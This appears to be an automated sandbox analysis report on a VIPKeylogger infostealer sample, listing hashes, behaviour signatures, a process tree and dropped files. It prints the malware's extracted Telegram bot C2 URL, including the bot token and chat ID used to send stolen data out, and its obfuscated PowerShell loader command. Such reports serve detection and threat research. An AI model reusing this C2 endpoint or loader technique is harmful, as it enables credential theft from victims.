Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2025, 15:19

General

  • Target

    pago-568092-566534.exe

  • Size

    806KB

  • MD5

    ee9064c9429ce71f8840108fd27efcde

  • SHA1

    20307672fd0b0f40ad0e6d035445b395578abfae

  • SHA256

    88287f70307150fc1f469bf08e49dee581cdce1900dcf477a08d010e90fef57d

  • SHA512

    fef7fa31a45dfd22ea2bac537f6f97373688698e1d1c7601cbe5e6646def952eb5f5f90302e127c87ce0aaa152f8700c312dc2ca859b329d8d49a4824c145f0d

  • SSDEEP

    24576:7fYuPz30Oo2mDqFscQFAEIoOf7JGpbtg2:jPokeAE9OzUrg2

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7503700665:AAGL8MMCdDcG7tz-eC9bATTNxcDJaBzKQqA/sendMessage?chat_id=7618581100

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 7 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pago-568092-566534.exe
    "C:\Users\Admin\AppData\Local\Temp\pago-568092-566534.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5436
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle 1 "$Wolframet=GC -raw 'C:\Users\Admin\AppData\Local\Witnessers153\raabte\amuletters\Undvrligst130.Gul';$Canangium=$Wolframet.SubString(29282,3);.$Canangium($Wolframet)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1000

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hvtd3pcb.bxu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Witnessers153\raabte\amuletters\Gennemarbejdningerne\Synkrocyklotroner\transudes.jpg

    Filesize

    74B

    MD5

    1f48026df6e9e4aebc2867cb2a07a07d

    SHA1

    8098b69100ff43d1df93d7d42fead7a6aebe7638

    SHA256

    994252c8960cf2a4008c57bb64c39a18937638230293db1ca2cbc7bc63fc8ba5

    SHA512

    4edb34ee05c85efa311df528adc8954273fdfd6ad563aea480befee9e100e79f9492de3f26fd69ebd4bc510096866092dc24213835281d91bf8a9c536a725149

  • C:\Users\Admin\AppData\Local\Witnessers153\raabte\amuletters\Undvrligst130.Gul

    Filesize

    54KB

    MD5

    63d3e9e12462b3b7ad4ca8835d3d08bd

    SHA1

    d9aa8a0fad0c4c9eeb030e4da83b37aae9ae132b

    SHA256

    1c739a595448826a25d50af246010dbb70fd6a78c5af3316509ff2073e5cad2c

    SHA512

    8e5e65554e94703b893dcbc210d4d5c0949059eeb0a0e41ec3b16ffc746d5571b74d102c68c286670a2523447c1f9c2cb1a47c3088865bfe9752d744a9578274

  • C:\Users\Admin\AppData\Local\Witnessers153\raabte\amuletters\prisniveaus.Kas

    Filesize

    443KB

    MD5

    9281ab54ad5e8f29c9c398a8f991189e

    SHA1

    96eaa949d65066bce7350a42ba3a935d720dfaa5

    SHA256

    c2ea74b43398f0001131401a191cbfc37b26c295b532b36b321550ee52e3235c

    SHA512

    7ea3b63903d58052cab99c58dd55dc9e85a65fffee14eb589decbcba0315a920e895a762a95f37f64d2ce7c1589eb3da453950ec4cbcdfd4f8b49ce7be12abaa

  • memory/1000-80-0x0000000002220000-0x0000000002C8F000-memory.dmp

    Filesize

    10.4MB

  • memory/1000-91-0x0000000000FC0000-0x000000000100A000-memory.dmp

    Filesize

    296KB

  • memory/1000-101-0x0000000021110000-0x000000002111A000-memory.dmp

    Filesize

    40KB

  • memory/1000-100-0x0000000021390000-0x0000000021422000-memory.dmp

    Filesize

    584KB

  • memory/1000-98-0x0000000021820000-0x0000000021D4C000-memory.dmp

    Filesize

    5.2MB

  • memory/1000-97-0x0000000020F50000-0x0000000020FA0000-memory.dmp

    Filesize

    320KB

  • memory/1000-96-0x0000000021120000-0x00000000212E2000-memory.dmp

    Filesize

    1.8MB

  • memory/1000-94-0x0000000002220000-0x0000000002C8F000-memory.dmp

    Filesize

    10.4MB

  • memory/1000-92-0x00000000204D0000-0x000000002056C000-memory.dmp

    Filesize

    624KB

  • memory/1000-90-0x0000000000FC0000-0x0000000002214000-memory.dmp

    Filesize

    18.3MB

  • memory/2740-56-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-65-0x0000000007A40000-0x0000000007A64000-memory.dmp

    Filesize

    144KB

  • memory/2740-36-0x0000000006280000-0x00000000062CC000-memory.dmp

    Filesize

    304KB

  • memory/2740-37-0x00000000067C0000-0x0000000006856000-memory.dmp

    Filesize

    600KB

  • memory/2740-38-0x0000000006770000-0x000000000678A000-memory.dmp

    Filesize

    104KB

  • memory/2740-39-0x0000000007210000-0x0000000007232000-memory.dmp

    Filesize

    136KB

  • memory/2740-40-0x0000000007AB0000-0x0000000008054000-memory.dmp

    Filesize

    5.6MB

  • memory/2740-42-0x00000000086E0000-0x0000000008D5A000-memory.dmp

    Filesize

    6.5MB

  • memory/2740-44-0x000000006FC50000-0x000000006FC9C000-memory.dmp

    Filesize

    304KB

  • memory/2740-43-0x0000000007650000-0x0000000007682000-memory.dmp

    Filesize

    200KB

  • memory/2740-46-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-55-0x0000000007630000-0x000000000764E000-memory.dmp

    Filesize

    120KB

  • memory/2740-25-0x0000000005C50000-0x0000000005FA4000-memory.dmp

    Filesize

    3.3MB

  • memory/2740-57-0x00000000076A0000-0x0000000007743000-memory.dmp

    Filesize

    652KB

  • memory/2740-58-0x00000000077C0000-0x00000000077CA000-memory.dmp

    Filesize

    40KB

  • memory/2740-59-0x0000000007920000-0x0000000007931000-memory.dmp

    Filesize

    68KB

  • memory/2740-60-0x0000000007970000-0x000000000797E000-memory.dmp

    Filesize

    56KB

  • memory/2740-61-0x0000000007980000-0x0000000007994000-memory.dmp

    Filesize

    80KB

  • memory/2740-62-0x00000000079C0000-0x00000000079DA000-memory.dmp

    Filesize

    104KB

  • memory/2740-63-0x00000000079B0000-0x00000000079B8000-memory.dmp

    Filesize

    32KB

  • memory/2740-64-0x0000000007A10000-0x0000000007A3A000-memory.dmp

    Filesize

    168KB

  • memory/2740-35-0x0000000006260000-0x000000000627E000-memory.dmp

    Filesize

    120KB

  • memory/2740-66-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-68-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-70-0x00000000737CE000-0x00000000737CF000-memory.dmp

    Filesize

    4KB

  • memory/2740-72-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-71-0x0000000008D60000-0x00000000097CF000-memory.dmp

    Filesize

    10.4MB

  • memory/2740-73-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-74-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-75-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-76-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-23-0x0000000005B70000-0x0000000005BD6000-memory.dmp

    Filesize

    408KB

  • memory/2740-24-0x0000000005BE0000-0x0000000005C46000-memory.dmp

    Filesize

    408KB

  • memory/2740-22-0x00000000059D0000-0x00000000059F2000-memory.dmp

    Filesize

    136KB

  • memory/2740-21-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-20-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-19-0x0000000005310000-0x0000000005938000-memory.dmp

    Filesize

    6.2MB

  • memory/2740-18-0x0000000002C80000-0x0000000002CB6000-memory.dmp

    Filesize

    216KB

  • memory/2740-17-0x00000000737CE000-0x00000000737CF000-memory.dmp

    Filesize

    4KB

  • memory/2740-78-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB

  • memory/2740-79-0x00000000737C0000-0x0000000073F70000-memory.dmp

    Filesize

    7.7MB